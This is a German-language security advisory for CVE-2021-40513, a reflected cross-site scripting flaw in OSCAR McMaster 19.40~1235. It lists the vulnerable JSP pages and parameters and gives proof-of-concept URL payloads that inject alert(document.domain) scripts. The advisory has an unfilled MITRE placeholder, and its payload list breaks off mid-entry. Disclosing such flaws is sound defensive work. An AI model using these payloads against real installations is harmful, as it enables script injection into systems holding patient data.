CVE-2021-40513 OSCAR McMaster 19.40~1235 Reflektierte Cross-Site-Scripting-Schwachstelle

In mehreren Seiten der Version 19.40~1235 der OSCAR McMaster-Anwendung besteht eine reflektierte Cross-Site-Scripting-Schwachstelle, die die willkürliche Ausführung von JavaScript-Befehlen ermöglicht.

[Placeholder for CVE mitre]

Verwundbare JSP-Seiten:

documentReport.jsp - functionid, function, curUser Parameter

addappointment.jsp - duration, end_time, start_time, day, month, year, provider_no Parameter

unLock.jsp - userName Parameter

semographiccontrol.jsp - keyword Parameter

providercontrol.jsp - provider_no, viewall, view, month, year, day, every_min Parameter

CalendarPopup.jsp - month, year, param, urlfrom Parameter

logReport.jsp - endDate, startDate Parameter

SendDemoMessage.do - demographic_no Parameter

ViewConsultation.do - demographic_no Parameter

Beispielhafte angreifbare Payloads:

documentReport.jsp - /oscar/dms/documentReport.jsp?function=provider&functionid=999998&curUser=999998daka4%22%3E%3Cscript%3Ealert(document.domain)%3C%2fscript%3Eowtpz

addappointment.jsp - /oscar/appointment/addappointment.jsp?provider_no=999998&bFirstDisp=true&year=2021&month=08&day=27&start_time=08:00&end_time=08%3a14pyqzl'>

unLock.jsp - /oscar/admin/unLock.jsp?userName=192.168.105.149w5q31%3Cscript%3Ealert(document.domain)%3C%2fscript%3Efe9hjvibv0e&submit=Unlock

semographiccontrol.jsp - /oscar/demographic/demographiccontrol.jsp?search_mode=search_name&keyword=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&orderby=last_name%2C+first_name&dboperation=search_titlename&limit1=0&limit2=10&displaymode=Search&ptstatus=active&fromMessenger=false&outofdomain=

providercontrol.jsp - /oscar/provider/providercontrol.jsp?year=%3Cscript%3Ealert(document.domain)%3C/script%3E;&month=8&day=18&view=0&curProvider=null&curProviderName=null&displaymode=day&dboperation=searchappointmentday

CalendarPopup.jsp - /oscar/share/CalendarPopup.jsp?urlfrom=xm4vs">